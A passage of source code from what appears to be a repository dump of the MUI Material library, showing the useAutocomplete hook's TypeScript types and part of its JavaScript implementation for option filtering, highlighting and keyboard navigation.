when the popup requests to be opened.\n   * Use in controlled mode (see open).\n   *\n   * @param {React.SyntheticEvent} event The event source of the callback.\n   */\n  onOpen?: ((event: React.SyntheticEvent) => void) | undefined;\n  /**\n   * If `true`, the component is shown.\n   */\n  open?: boolean | undefined;\n  /**\n   * If `true`, the popup will open on input focus.\n   * @default false\n   */\n  openOnFocus?: boolean | undefined;\n  /**\n   * A list of options that will be shown in the Autocomplete.\n   */\n  options: ReadonlyArray<Value>;\n  /**\n   * If `true`, the component becomes readonly. It is also supported for multiple tags where the tag cannot be deleted.\n   * @default false\n   */\n  readOnly?: boolean | undefined;\n  /**\n   * If `true`, the input's text is selected on focus.\n   * It helps the user clear the selected value.\n   * @default !props.freeSolo\n   */\n  selectOnFocus?: boolean | undefined;\n  /**\n   * The value of the autocomplete.\n   *\n   * The value must have reference equality with the option in order to be selected.\n   * You can customize the equality behavior with the `isOptionEqualToValue` prop.\n   */\n  value?: AutocompleteValue<Value, Multiple, DisableClearable, FreeSolo> | undefined;\n}\n\nexport interface UseAutocompleteParameters<\n  Value,\n  Multiple extends boolean | undefined,\n  DisableClearable extends boolean | undefined,\n  FreeSolo extends boolean | undefined,\n> extends UseAutocompleteProps<Value, Multiple, DisableClearable, FreeSolo> {}\n\nexport type AutocompleteHighlightChangeReason = 'keyboard' | 'mouse' | 'touch';\n\nexport type AutocompleteChangeReason =\n  | 'createOption'\n  | 'selectOption'\n  | 'removeOption'\n  | 'clear'\n  | 'blur';\nexport interface AutocompleteChangeDetails<Value = string> {\n  option: Value;\n}\nexport type AutocompleteCloseReason =\n  | 'createOption'\n  | 'toggleInput'\n  | 'escape'\n  | 'selectOption'\n  | 'removeOption'\n  | 'blur';\nexport type AutocompleteInputChangeReason =\n  | 'input'\n  | 'reset'\n  | 'clear'\n  | 'blur'\n  | 'selectOption'\n  | 'removeOption';\n\nexport type AutocompleteGetItemProps<Multiple extends boolean | undefined> = Multiple extends true\n  ? (args: { index: number }) => {\n      key: number;\n      'data-item-index': number;\n      tabIndex: -1;\n      onDelete: (event: any) => void;\n    }\n  : (args?: { index?: number | undefined }) => {\n      'data-item-index': number;\n      tabIndex: -1;\n      onDelete: (event: any) => void;\n    };\n\nexport type AutocompleteGetTagProps = ({ index }: { index: number }) => {\n  key: number;\n  'data-tag-index': number;\n  tabIndex: -1;\n  onDelete: (event: any) => void;\n};\n\nexport function useAutocomplete<\n  Value,\n  Multiple extends boolean | undefined = false,\n  DisableClearable extends boolean | undefined = false,\n  FreeSolo extends boolean | undefined = false,\n>(\n  props: PartiallyRequired<\n    UseAutocompleteProps<Value, Multiple, DisableClearable, FreeSolo>,\n    'groupBy'\n  >,\n): UseAutocompleteReturnValue<Value, Multiple, DisableClearable, FreeSolo, true>;\nexport function useAutocomplete<\n  Value,\n  Multiple extends boolean | undefined = false,\n  DisableClearable extends boolean | undefined = false,\n  FreeSolo extends boolean | undefined = false,\n>(\n  props: Omit<UseAutocompleteProps<Value, Multiple, DisableClearable, FreeSolo>, 'groupBy'>,\n): UseAutocompleteReturnValue<Value, Multiple, DisableClearable, FreeSolo, false>;\n\nexport interface UseAutocompleteRenderedOption<Value> {\n  option: Value;\n  index: number;\n}\n\nexport interface UseAutocompleteReturnValue<\n  Value,\n  Multiple extends boolean | undefined = false,\n  DisableClearable extends boolean | undefined = false,\n  FreeSolo extends boolean | undefined = false,\n  HasGroupBy extends boolean = false,\n> {\n  /**\n   * Resolver for the root slot's props.\n   * @param externalProps props for the root slot\n   * @returns props that should be spread on the root slot\n   */\n  getRootProps: (externalProps?: any) => React.HTMLAttributes<HTMLDivElement>;\n  /**\n   * Resolver for the input element's props.\n   * @returns props that should be spread on the input element\n   */\n  getInputProps: () => React.InputHTMLAttributes<HTMLInputElement> & {\n    ref: React.Ref<HTMLInputElement>;\n  };\n  /**\n   * Resolver for the input label element's props.\n   * @returns props that should be spread on the input label element\n   */\n  getInputLabelProps: () => Omit<React.HTMLAttributes<HTMLLabelElement>, 'color'>;\n  /**\n   * Resolver for the `clear` button element's props.\n   * @returns props that should be spread on the *clear* button element\n   */\n  getClearProps: () => React.HTMLAttributes<HTMLButtonElement>;\n  /**\n   * An item props getter\n   */\n  getItemProps: AutocompleteGetItemProps<Multiple>;\n  /**\n   * Resolver for the popup icon's props.\n   * @returns props that should be spread on the popup icon\n   */\n  getPopupIndicatorProps: () => React.HTMLAttributes<HTMLButtonElement>;\n  /**\n   * Resolver for the listbox component's props.\n   * @returns props that should be spread on the listbox component\n   */\n  getListboxProps: () => React.HTMLAttributes<HTMLUListElement>;\n  /**\n   * Resolver for the rendered option element's props.\n   * @param renderedOption option rendered on the Autocomplete\n   * @returns props that should be spread on the li element\n   */\n  getOptionProps: (\n    renderedOption: UseAutocompleteRenderedOption<Value>,\n  ) => React.HTMLAttributes<HTMLLIElement> & { key: React.Key };\n  /**\n   * Id for the Autocomplete.\n   */\n  id: string;\n  /**\n   * The input value.\n   */\n  inputValue: string;\n  /**\n   * The value of the autocomplete.\n   */\n  value: AutocompleteValue<Value, Multiple, DisableClearable, FreeSolo>;\n  /**\n   * If `true`, the component input has some values.\n   */\n  dirty: boolean;\n  /**\n   * If `true`, the listbox is being displayed.\n   */\n  expanded: boolean;\n  /**\n   * If `true`, the popup is open on the component.\n   */\n  popupOpen: boolean;\n  /**\n   * If `true`, the component is focused.\n   */\n  focused: boolean;\n  /**\n   * An HTML element that is used to set the position of the component.\n   */\n  anchorEl: null | HTMLElement;\n  /**\n   * Setter for the component `anchorEl`.\n   * @returns function for setting `anchorEl`\n   */\n  setAnchorEl: () => void;\n  /**\n   * Index of the focused item for the component.\n   */\n  focusedItem: number;\n  /**\n   * The options to render.\n   * - If `groupBy` is provided, the options are grouped and represented as `AutocompleteGroupedOption<Value>[]`.\n   * - Otherwise, the options are represented as a flat array of `Value[]`.\n   */\n  groupedOptions: HasGroupBy extends true ? AutocompleteGroupedOption<Value>[] : Value[];\n}\n\nexport default useAutocomplete;\n"
  },
  {
    "path": "packages/mui-material/src/useAutocomplete/useAutocomplete.js",
    "content": "'use client';\n\nimport * as React from 'react';\nimport setRef from '@mui/utils/setRef';\nimport useEventCallback from '@mui/utils/useEventCallback';\nimport useControlled from '@mui/utils/useControlled';\nimport useId from '@mui/utils/useId';\nimport usePreviousProps from '@mui/utils/usePreviousProps';\n\nfunction areArraysSame({ array1, array2, parser = (value) => value }) {\n  return (\n    array1 &&\n    array2 &&\n    array1.length === array2.length &&\n    array1.every((prevOption, index) => parser(prevOption) === parser(array2[index]))\n  );\n}\n\n// https://stackoverflow.com/questions/990904/remove-accents-diacritics-in-a-string-in-javascript\nfunction stripDiacritics(string) {\n  return string.normalize('NFD').replace(/[\\u0300-\\u036f]/g, '');\n}\n\nexport function createFilterOptions(config = {}) {\n  const {\n    ignoreAccents = true,\n    ignoreCase = true,\n    limit,\n    matchFrom = 'any',\n    stringify,\n    trim = false,\n  } = config;\n\n  return (options, { inputValue, getOptionLabel }) => {\n    let input = trim ? inputValue.trim() : inputValue;\n    if (ignoreCase) {\n      input = input.toLowerCase();\n    }\n    if (ignoreAccents) {\n      input = stripDiacritics(input);\n    }\n\n    const filteredOptions = !input\n      ? options\n      : options.filter((option) => {\n          let candidate = (stringify || getOptionLabel)(option);\n          if (ignoreCase) {\n            candidate = candidate.toLowerCase();\n          }\n          if (ignoreAccents) {\n            candidate = stripDiacritics(candidate);\n          }\n\n          return matchFrom === 'start' ? candidate.startsWith(input) : candidate.includes(input);\n        });\n\n    return typeof limit === 'number' ? filteredOptions.slice(0, limit) : filteredOptions;\n  };\n}\n\nconst defaultFilterOptions = createFilterOptions();\n\n// Number of options to jump in list box when `Page Up` and `Page Down` keys are used.\nconst pageSize = 5;\n\nconst defaultIsActiveElementInListbox = (listboxRef) =>\n  listboxRef.current !== null && listboxRef.current.parentElement?.contains(document.activeElement);\n\nconst defaultIsOptionEqualToValue = (option, value) => option === value;\n\nconst MULTIPLE_DEFAULT_VALUE = [];\n\nfunction getInputValue(value, multiple, getOptionLabel, renderValue) {\n  if (multiple || value == null || renderValue) {\n    return '';\n  }\n  const optionLabel = getOptionLabel(value);\n  return typeof optionLabel === 'string' ? optionLabel : '';\n}\n\nfunction useAutocomplete(props) {\n  const {\n    // eslint-disable-next-line @typescript-eslint/naming-convention\n    unstable_isActiveElementInListbox = defaultIsActiveElementInListbox,\n    // eslint-disable-next-line @typescript-eslint/naming-convention\n    unstable_classNamePrefix = 'Mui',\n    autoComplete = false,\n    autoHighlight = false,\n    autoSelect = false,\n    blurOnSelect = false,\n    clearOnBlur = !props.freeSolo,\n    clearOnEscape = false,\n    componentName = 'useAutocomplete',\n    defaultValue = props.multiple ? MULTIPLE_DEFAULT_VALUE : null,\n    disableClearable = false,\n    disableCloseOnSelect = false,\n    disabled: disabledProp,\n    disabledItemsFocusable = false,\n    disableListWrap = false,\n    filterOptions = defaultFilterOptions,\n    filterSelectedOptions = false,\n    freeSolo = false,\n    getOptionDisabled,\n    getOptionKey,\n    getOptionLabel: getOptionLabelProp = (option) => option.label ?? option,\n    groupBy,\n    handleHomeEndKeys = !props.freeSolo,\n    id: idProp,\n    includeInputInList = false,\n    inputValue: inputValueProp,\n    isOptionEqualToValue = defaultIsOptionEqualToValue,\n    multiple = false,\n    onChange,\n    onClose,\n    onHighlightChange,\n    onInputChange,\n    onOpen,\n    open: openProp,\n    openOnFocus = false,\n    options,\n    readOnly = false,\n    renderValue,\n    selectOnFocus = !props.freeSolo,\n    value: valueProp,\n  } = props;\n\n  const id = useId(idProp);\n\n  let getOptionLabel = getOptionLabelProp;\n\n  getOptionLabel = (option) => {\n    const optionLabel = getOptionLabelProp(option);\n    if (typeof optionLabel !== 'string') {\n      if (process.env.NODE_ENV !== 'production') {\n        const erroneousReturn =\n          optionLabel === undefined ? 'undefined' : `${typeof optionLabel} (${optionLabel})`;\n        console.error(\n          `MUI: The \\`getOptionLabel\\` method of ${componentName} returned ${erroneousReturn} instead of a string for ${JSON.stringify(\n            option,\n          )}.`,\n        );\n      }\n      return String(optionLabel);\n    }\n    return optionLabel;\n  };\n\n  const ignoreFocus = React.useRef(false);\n  const firstFocus = React.useRef(true);\n  const inputRef = React.useRef(null);\n  const listboxRef = React.useRef(null);\n  const windowLostFocus = React.useRef(false);\n  const [anchorEl, setAnchorEl] = React.useState(null);\n\n  const [focusedItem, setFocusedItem] = React.useState(-1);\n  const defaultHighlighted = autoHighlight ? 0 : -1;\n  const highlightedIndexRef = React.useRef(defaultHighlighted);\n\n  // Calculate the initial inputValue on mount only.\n  // useRef ensures it doesn't update dynamically with defaultValue or value props.\n  const initialInputValue = React.useRef(\n    getInputValue(defaultValue ?? valueProp, multiple, getOptionLabel),\n  ).current;\n\n  const [value, setValueState] = useControlled({\n    controlled: valueProp,\n    default: defaultValue,\n    name: componentName,\n  });\n  const [inputValue, setInputValueState] = useControlled({\n    controlled: inputValueProp,\n    default: initialInputValue,\n    name: componentName,\n    state: 'inputValue',\n  });\n\n  const [focused, setFocused] = React.useState(false);\n\n  const resetInputValue = React.useCallback(\n    (event, newValue, reason) => {\n      // retain current `inputValue` if new option isn't selected and `clearOnBlur` is false\n      // When `multiple` is enabled, `newValue` is an array of all selected items including the newly selected item\n      const isOptionSelected = multiple ? value.length < newValue.length : newValue !== null;\n      if (!isOptionSelected && !clearOnBlur) {\n        return;\n      }\n      const newInputValue = getInputValue(newValue, multiple, getOptionLabel, renderValue);\n\n      if (inputValue === newInputValue) {\n        return;\n      }\n\n      setInputValueState(newInputValue);\n\n      if (onInputChange) {\n        onInputChange(event, newInputValue, reason);\n      }\n    },\n    [\n      getOptionLabel,\n      inputValue,\n      multiple,\n      onInputChange,\n      setInputValueState,\n      clearOnBlur,\n      value,\n      renderValue,\n    ],\n  );\n\n  const [open, setOpenState] = useControlled({\n    controlled: openProp,\n    default: false,\n    name: componentName,\n    state: 'open',\n  });\n\n  const [inputPristine, setInputPristine] = React.useState(true);\n\n  const inputValueIsSelectedValue =\n    !multiple && value != null && inputValue === getOptionLabel(value);\n\n  const popupOpen = open && !readOnly;\n  const selectedValues = React.useMemo(() => {\n    if (multiple) {\n      return value;\n    }\n\n    if (value != null) {\n      return [value];\n    }\n\n    return [];\n  }, [multiple, value]);\n  const selectedValuesSet = React.useMemo(() => {\n    // Fast path for the default strict equality comparator to avoid O(n^2) option checks.\n    if (isOptionEqualToValue !== defaultIsOptionEqualToValue || selectedValues.length === 0) {\n      return null;\n    }\n\n    return new Set(selectedValues);\n  }, [isOptionEqualToValue, selectedValues]);\n  const isOptionSelected = React.useCallback(\n    (option) => {\n      if (selectedValuesSet) {\n        return selectedValuesSet.has(option);\n      }\n\n      return selectedValues.some(\n        (value2) => value2 != null && isOptionEqualToValue(option, value2),\n      );\n    },\n    [isOptionEqualToValue, selectedValues, selectedValuesSet],\n  );\n\n  const filteredOptions = popupOpen\n    ? filterOptions(\n        options.filter((option) => {\n          if (filterSelectedOptions && isOptionSelected(option)) {\n            return false;\n          }\n          return true;\n        }),\n        // we use the empty string to manipulate `filterOptions` to not filter any options\n        // i.e. the filter predicate always returns true\n        {\n          inputValue: inputValueIsSelectedValue && inputPristine ? '' : inputValue,\n          getOptionLabel,\n        },\n      )\n    : [];\n\n  const previousProps = usePreviousProps({\n    filteredOptions,\n    value,\n    inputValue,\n  });\n\n  React.useEffect(() => {\n    const valueChange = value !== previousProps.value;\n\n    if (focused && !valueChange) {\n      return;\n    }\n\n    // Only reset the input's value when freeSolo if the component's value changes.\n    if (freeSolo && !valueChange) {\n      return;\n    }\n\n    resetInputValue(null, value, 'reset');\n  }, [value, resetInputValue, focused, previousProps.value, freeSolo]);\n\n  const listboxAvailable = open && filteredOptions.length > 0 && !readOnly;\n\n  const focusItem = useEventCallback((itemToFocus) => {\n    if (itemToFocus === -1) {\n      inputRef.current.focus();\n    } else {\n      anchorEl.querySelector(`[data-item-index=\"${itemToFocus}\"]`).focus();\n    }\n  });\n\n  // Ensure the focusedItem is never inconsistent\n  React.useEffect(() => {\n    if (multiple && focusedItem > value.length - 1) {\n      setFocusedItem(-1);\n      focusItem(-1);\n    }\n  }, [value, multiple, focusedItem, focusItem]);\n\n  function validOptionIndex(index, direction) {\n    if (!listboxRef.current || index < 0 || index >= filteredOptions.length) {\n      return -1;\n    }\n\n    let nextFocus = index;\n\n    while (true) {\n      const option = listboxRef.current.querySelector(`[data-option-index=\"${nextFocus}\"]`);\n\n      // Same logic as MenuList.js\n      const nextFocusDisabled = disabledItemsFocusable\n        ? false\n        : !option || option.disabled || option.getAttribute('aria-disabled') === 'true';\n\n      if (option && option.hasAttribute('tabindex') && !nextFocusDisabled) {\n        // The next option is available\n        return nextFocus;\n      }\n\n      // The next option is disabled, move to the next element.\n      // with looped index\n      if (direction === 'next') {\n        nextFocus = (nextFocus + 1) % filteredOptions.length;\n      } else {\n        nextFocus = (nextFocus - 1 + filteredOptions.length) % filteredOptions.length;\n      }\n\n      // We end up with initial index, that means we don't have available options.\n      // All of them are disabled\n      if (nextFocus === index) {\n        return -1;\n      }\n    }\n  }\n\n  const setHighlightedIndex = useEventCallback(({ event, index, reason }) => {\n    highlightedIndexRef.current = index;\n\n    // does the index exist?\n    if (index === -1) {\n      inputRef.current.removeAttribute('aria-activedescendant');\n    } else {\n      inputRef.current.setAttribute('aria-activedescendant', `${id}-option-${index}`);\n    }\n\n    if (onHighlightChange && ['mouse', 'keyboard', 'touch'].includes(reason)) {\n      onHighlightChange(event, index === -1 ? null : filteredOptions[index], reason);\n    }\n\n    if (!listboxRef.current) {\n      return;\n    }\n\n    const prev = listboxRef.current.querySelector(\n      `[role=\"option\"].${unstable_classNamePrefix}-focused`,\n    );\n    if (prev) {\n      prev.classList.remove(`${unstable_classNamePrefix}-focused`);\n      prev.classList.remove(`${unstable_classNamePrefix}-focusVisible`);\n    }\n\n    let listboxNode = listboxRef.current;\n    if (listboxRef.current.getAttribute('role') !== 'listbox') {\n      listboxNode = listboxRef.current.parentElement.querySelector('[role=\"listbox\"]');\n    }\n\n    // \"No results\"\n    if (!listboxNode) {\n      return;\n    }\n\n    if (index === -1) {\n      listboxNode.scrollTop = 0;\n      return;\n    }\n\n    const option = listboxRef.current.querySelector(`[data-option-index=\"${index}\"]`);\n\n    if (!option) {\n      return;\n    }\n\n    option.classList.add(`${unstable_classNamePrefix}-focused`);\n    if (reason === 'keyboard') {\n      option.classList.add(`${unstable_classNamePrefix}-focusVisible`);\n    }\n\n    // Scroll active descendant into view.\n    // Logic copied from https://www.w3.org/WAI/content-assets/wai-aria-practices/patterns/combobox/examples/js/select-only.js\n    // In case of mouse clicks and touch (in mobile devices) we avoid scrolling the element and keep both behaviors same.\n    // Consider this API instead once it has a better browser support:\n    // .scrollIntoView({ scrollMode: 'if-needed', block: 'nearest' });\n    if (\n      listboxNode.scrollHeight > listboxNode.clientHeight &&\n      reason !== 'mouse' &&\n      reason !== 'touch'\n    ) {\n      const element = option;\n\n      const scrollBottom = listboxNode.clientHeight + listboxNode.scrollTop;\n      const elementBottom = element.offsetTop + element.offsetHeight;\n      if (elementBottom > scrollBottom) {\n        listboxNode.scrollTop = elementBottom - listboxNode.clientHeight;\n      } else if (\n        element.offsetTop - element.offsetHeight * (groupBy ? 1.3 : 0) <\n        listboxNode.scrollTop\n      ) {\n        listboxNode.scrollTop = element.offsetTop - element.offsetHeight * (groupBy ? 1.3 : 0);\n      }\n    }\n  });\n\n  const changeHighlightedIndex = useEventCallback(({ event, diff, direction = 'next', reason }) => {\n    if (!popupOpen) {\n      return;\n    }\n\n    const getNextIndex = () => {\n      const maxIndex = filteredOptions.length - 1;\n\n      if (diff === 'reset') {\n        return defaultHighlighted;\n      }\n\n      if (diff === 'start') {\n        return 0;\n      }\n\n      if (diff === 'end') {\n        return maxIndex;\n      }\n\n      const newIndex = highlightedIndexRef.current + diff;\n\n      if (newIndex < 0) {\n        if (newIndex === -1 && includeInputInList) {\n          return -1;\n        }\n\n        if ((disableListWrap && highlightedIndexRef.current !== -1) || Math.abs(diff) > 1) {\n          return 0;\n        }\n\n        return maxIndex;\n      }\n\n      if (newIndex > maxIndex) {\n        if (newIndex === maxIndex + 1 && includeInputInList) {\n          return -1;\n        }\n\n        if (disableListWrap || Math.abs(diff) > 1) {\n          return maxIndex;\n        }\n\n        return 0;\n      }\n\n      return newIndex;\n    };\n\n    const nextIndex = validOptionIndex(getNextIndex(), direction);\n    setHighlightedIndex({ index: nextIndex, reason, event });\n\n    // Sync the content of the input with the highlighted option.\n    if (autoComplete && diff !== 'reset') {\n      if (nextIndex === -1) {\n        inputRef.current.value = inputValue;\n      } else {\n        const option = getOptionLabel(filteredOptions[nextIndex]);\n        inputRef.current.value = option;\n\n        // The portion of the selected suggestion that has not been typed by the user,\n        // a completion string, appears inline after the input cursor in the textbox.\n        const index = option.toLowerCase().indexOf(inputValue.toLowerCase());\n        if (index === 0 && inputValue.length > 0) {\n          inputRef.current.setSelectionRange(inputValue.length, option.length);\n        }\n      }\n    }\n  });\n\n  const filteredOptionsChanged = !areArraysSame({\n    array1: previousProps.filteredOptions,\n    array2: filteredOptions,\n    parser: getOptionLabel,\n  });\n\n  const getPreviousHighlightedOptionIndex = () => {\n    const isSameValue = (value1, value2) => {\n      const label1 = value1 ? getOptionLabel(value1) : '';\n      const label2 = value2 ? getOptionLabel(value2) : '';\n      return label1 === label2;\n    };\n\n    if (\n      highlightedIndexRef.current !== -1 &&\n      !areArraysSame({\n        array1: previousProps.filteredOptions,\n        array2: filteredOptions,\n        parser: getOptionLabel,\n      }) &&\n      previousProps.inputValue === inputValue &&\n      (multiple\n        ? value.length === previousProps.value.length &&\n          previousProps.value.every((val, i) => getOptionLabel(value[i]) === getOptionLabel(val))\n        : isSameValue(previousProps.value, value))\n    ) {\n      const previousHighlightedOption = previousProps.filteredOptions[highlightedIndexRef.current];\n\n      if (previousHighlightedOption) {\n        return filteredOptions.findIndex((option) => {\n          return getOptionLabel(option) === getOptionLabel(previousHighlightedOption);\n        });\n      }\n    }\n    return -1;\n  };\n\n  const syncHighlightedIndex = React.useCallback(() => {\n    if (!popupOpen) {\n      return;\n    }\n\n    // Check if the previously highlighted option still exists in the updated filtered options list and if the value and inputValue haven't changed\n    // If it exists and the value and the inputValue haven't changed, just update its index, otherwise continue execution\n    const previousHighlightedOptionIndex = getPreviousHighlightedOptionIndex();\n    if (previousHighlightedOptionIndex !== -1) {\n      highlightedIndexRef.current = previousHighlightedOptionIndex;\n      return;\n    }\n\n    const valueItem = multiple ? value[0] : value;\n\n    // The popup is empty, reset\n    if (filteredOptions.length === 0 || valueItem == null) {\n      changeHighlightedIndex({ diff: 'reset' });\n      return;\n    }\n\n    if (!listboxRef.current) {\n      return;\n    }\n\n    // Synchronize the value with the highlighted index\n    if (valueItem != null) {\n      const currentOption = filteredOptions[highlightedIndexRef.current];\n\n      // Keep the current highlighted index if possible\n      if (\n        multiple &&\n        currentOption &&\n        value.findIndex((val) => isOptionEqualToValue(currentOption, val)) !== -1\n      ) {\n        return;\n      }\n\n      const itemIndex = filteredOptions.findIndex((optionItem) =>\n        isOptionEqualToValue(optionItem, valueItem),\n      );\n      if (itemIndex === -1) {\n        changeHighlightedIndex({ diff: 'reset' });\n      } else {\n        setHighlightedIndex({ index: itemIndex });\n      }\n      return;\n    }\n\n    // Prevent the highlighted index to leak outside the boundaries.\n    if (highlightedIndexRef.current >= filteredOptions.length - 1) {\n      setHighlightedIndex({ index: filteredOptions.length - 1 });\n      return;\n    }\n\n    // Restore the focus to the previous index.\n    setHighlightedIndex({ index: highlightedIndexRef.current });\n    // Ignore filteredOptions (and options, isOptionEqualToValue, getOptionLabel) not to break the scroll position\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, [\n    // Only sync the highlighted index when the option switch between empty and not\n    filteredOptions.length,\n    // Don't sync the highlighted index with the value when multiple\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n    multiple ? false : value,\n    changeHighlightedIndex,\n    setHighlightedIndex,\n    popupOpen,\n    inputValue,\n    multiple,\n  ]);\n\n  const handleListboxRef = useEventCallback((node) => {\n    setRef(listboxRef, node);\n\n    if (!node) {\n      return;\n    }\n\n    syncHighlightedIndex();\n  });\n\n  if (process.env.NODE_ENV !== 'production') {\n    // eslint-disable-next-line react-hooks/rules-of-hooks\n    React.useEffect(() => {\n      if (!inputRef.current || inputRef.current.nodeName !== 'INPUT') {\n        if (inputRef.current && inputRef.current.nodeName === 'TEXTAREA') {\n          console.warn(\n            [\n              `A textarea element was provided to ${componentName} where input was expected.`,\n              `This is not a supported scenario but it may work under certain conditions.`,\n              `A textarea keyboard navigation may conflict with Autocomplete controls (for example enter and arrow keys).`,\n              `Make sure to test keyboard navigation and add custom event handlers if necessary.`,\n            ].join('\\n'),\n          );\n        } else {\n          console.error(\n            [\n              `MUI: Unable to find the input element. It was resolved to ${inputRef.current} while an HTMLInputElement was expected.`,\n              `Instead, ${componentName} expects an input element.`,\n              '',\n              componentName === 'useAutocomplete'\n                ? 'Make sure you have bound getInputProps correctly and that the normal ref/effect resolutions order is guaranteed.'\n                : 'Make sure you have customized the input component correctly.',\n            ].join('\\n'),\n          );\n        }\n      }\n    }, [componentName]);\n  }\n\n  React.useEffect(() => {\n    if (filteredOptionsChanged || (popupOpen && !disableCloseOnSelect)) {\n      syncHighlightedIndex();\n    }\n  }, [syncHighlightedIndex, filteredOptionsChanged, popupOpen, disableCloseOnSelect]);\n\n  // Listen for browser window blur to detect when the user switches tabs or windows.\n  // This helps prevent the popup from reopening automatically when the window regains focus.\n  React.useEffect(() => {\n    if (typeof window === 'undefined') {\n      return undefined;\n    }\n\n    const handleWindowBlur = () => {\n      windowLostFocus.current = true;\n    };\n\n    window.addEventListener('blur', handleWindowBlur);\n\n    return () => {\n      window.removeEventListener('blur', handleWindowBlur);\n    };\n  }, []);\n\n  const handleOpen = (event) => {\n    if (open) {\n      return;\n    }\n\n    setOpenState(true);\n    setInputPristine(true);\n\n    if (onOpen) {\n      onOpen(event);\n    }\n  };\n\n  const handleClose = (event, reason) => {\n    if (!open) {\n      return;\n    }\n\n    setOpenState(false);\n\n    if (onClose) {\n      onClose(event, reason);\n    }\n  };\n\n  const handleValue = (event, newValue, reason, details) => {\n    if (multiple) {\n      if (value.length === newValue.length && value.every((val, i) => val === newValue[i])) {\n        return;\n      }\n    } else if (value === newValue) {\n      return;\n    }\n\n    if (onChange) {\n      onChange(event, newValue, reason, details);\n    }\n\n    setValueState(newValue);\n  };\n\n  const isTouch = React.useRef(false);\n\n  const selectNewValue = (event, option, reasonProp = 'selectOption', origin = 'options') => {\n    let reason = reasonProp;\n    let newValue = option;\n\n    if (multiple) {\n      newValue = Array.isArray(value) ? value.slice() : [];\n\n      if (process.env.NODE_ENV !== 'production') {\n        const matches = newValue.filter((val) => isOptionEqualToValue(option, val));\n\n        if (matches.length > 1) {\n          console.error(\n            [\n              `MUI: The \\`isOptionEqualToValue\\` method of ${componentName} does not handle the arguments correctly.`,\n              `The component expects a single value to match a given option but found ${matches.length} matches.`,\n            ].join('\\n'),\n          );\n        }\n      }\n\n      const itemIndex = newValue.findIndex((valueItem) => isOptionEqualToValue(option, valueItem));\n\n      if (itemIndex === -1) {\n        newValue.push(option);\n      } else if (origin !== 'freeSolo') {\n        newValue.splice(itemIndex, 1);\n        reason = 'removeOption';\n      }\n    }\n\n    resetInputValue(event, newValue, reason);\n\n    handleValue(event, newValue, reason, { option });\n    if (!disableCloseOnSelect && (!event || (!event.ctrlKey && !event.metaKey))) {\n      handleClose(event, reason);\n    }\n\n    if (\n      blurOnSelect === true ||\n      (blurOnSelect === 'touch' && isTouch.current) ||\n      (blurOnSelect === 'mouse' && !isTouch.current)\n    ) {\n      inputRef.current.blur();\n    }\n  };\n\n  function validItemIndex(index, direction) {\n    if (index === -1) {\n      return -1;\n    }\n\n    let nextFocus = index;\n\n    while (true) {\n      // Out of range\n      if (\n        (direction === 'next' && nextFocus === value.length) ||\n        (direction === 'previous' && nextFocus === -1)\n      ) {\n        return -1;\n      }\n\n      const option = anchorEl.querySelector(`[data-item-index=\"${nextFocus}\"]`);\n\n      // Same logic as MenuList.js\n      if (\n        !option ||\n        !option.hasAttribute('tabindex') ||\n        option.disabled ||\n        option.getAttribute('aria-disabled') === 'true'\n      ) {\n        nextFocus += direction === 'next' ? 1 : -1;\n      } else {\n        return nextFocus;\n      }\n    }\n  }\n\n  const handleFocusItem = (event, direction) => {\n    if (!multiple) {\n      return;\n    }\n\n    if (inputValue === '') {\n      handleClose(event, 'toggleInput');\n    }\n\n    let nextItem = focusedItem;\n\n    // When moving focus from the input to tags with ArrowLeft,\n    // always jump to the last tag (if any) from the input.\n    if (focusedItem === -1 && direction === 'previous') {\n      nextItem = value.length - 1;\n      // In freeSolo, clear any draft text so it doesn't \"come back\" later.\n      if (freeSolo && inputValue !== '') {\n        setInputValueState('');\n        if (onInputChange) {\n          onInputChange(event, '', 'reset');\n        }\n      }\n    } else {\n      nextItem += direction === 'next' ? 1 : -1;\n\n      if (nextItem < 0) {\n        nextItem = 0;\n      }\n\n      if (nextItem === value.length) {\n        nextItem = -1;\n      }\n    }\n\n    nextItem = validItemIndex(nextItem, direction);\n\n    setFocusedItem(nextItem);\n    focusItem(nextItem);\n  };\n\n  const handleClear = (event) => {\n    ignoreFocus.current = true;\n    setInputValueState('');\n\n    if (onInputChange) {\n      onInputChange(event, '', 'clear');\n    }\n\n    handleValue(event, multiple ? [] : null, 'clear');\n  };\n\n  const handleKeyDown = (other) => (event) => {\n    if (other.onKeyDown) {\n      other.onKeyDown(event);\n    }\n\n    if (event.defaultMuiPrevented) {\n      return;\n    }\n\n    if (focusedItem !== -1 && !['ArrowLeft', 'ArrowRight'].includes(event.key)) {\n      setFocusedItem(-1);\n      focusItem(-1);\n    }\n\n    // Wait until IME is settled.\n    if (event.which !== 229) {\n      switch (event.key) {\n        case 'Home':\n          if (popupOpen && handleHomeEndKeys) {\n            // Prevent scroll of the page\n            event.preventDefault();\n            changeHighlightedIndex({ diff: 'start', direction: 'next', reason: 'keyboard', event });\n          }\n          break;\n        case 'End':\n          if (popupOpen && handleHomeEndKeys) {\n            // Prevent scroll of the page\n            event.preventDefault();\n            changeHighlightedIndex({\n              diff: 'end',\n              direction: 'previous',\n              reason: 'keyboard',\n              event,\n            });\n          }\n          break;\n        case 'PageUp':\n          // Prevent scroll of the page\n          event.preventDefault();\n          changeHighlightedIndex({\n            diff: -pageSize,\n            direction: 'previous',\n            reason: 'keyboard',\n            event,\n          });\n          handleOpen(event);\n          break;\n        case 'PageDown':\n          // Prevent scroll of the page\n          event.preventDefault();\n          changeHighlightedIndex({ diff: pageSize, direction: 'next', reason: 'keyboard', event });\n          handleOpen(event);\n          break;\n        case 'ArrowDown':\n          // Prevent cursor move\n          event.preventDefault();\n          changeHighlightedIndex({ diff: 1, direction: 'next', reason: 'keyboard', event });\n          handleOpen(event);\n          break;\n        case 'ArrowUp':\n          // Prevent cursor move\n          event.preventDefault();\n          changeHighlightedIndex({ diff: -1, direction: 'previous', reason: 'keyboard', event });\n          handleOpen(event);\n          break;\n        case 'ArrowLeft': {\n          const input = inputRef.current;\n          // Only handle ArrowLeft when the caret is at the start of the input.\n          // Otherwise let the browser move the caret normally.\n          const caretAtStart = input && input.selectionStart === 0 && input.selectionEnd === 0;\n\n          if (!caretAtStart) {\n            // Let the browser handle normal cursor movement\n            return;\n          }\n\n          // Single-value rendering: move focus from input to the single tag.\n          if (!multiple && renderValue && value != null) {\n            // Moving from input to single tag; clear freeSolo draft text,\n            // so it doesn't reappear when we move back.\n            if (freeSolo && inputValue !== '') {\n              setInputValueState('');\n              if (onInputChange) {\n                onInputChange(event, '', 'reset');\n              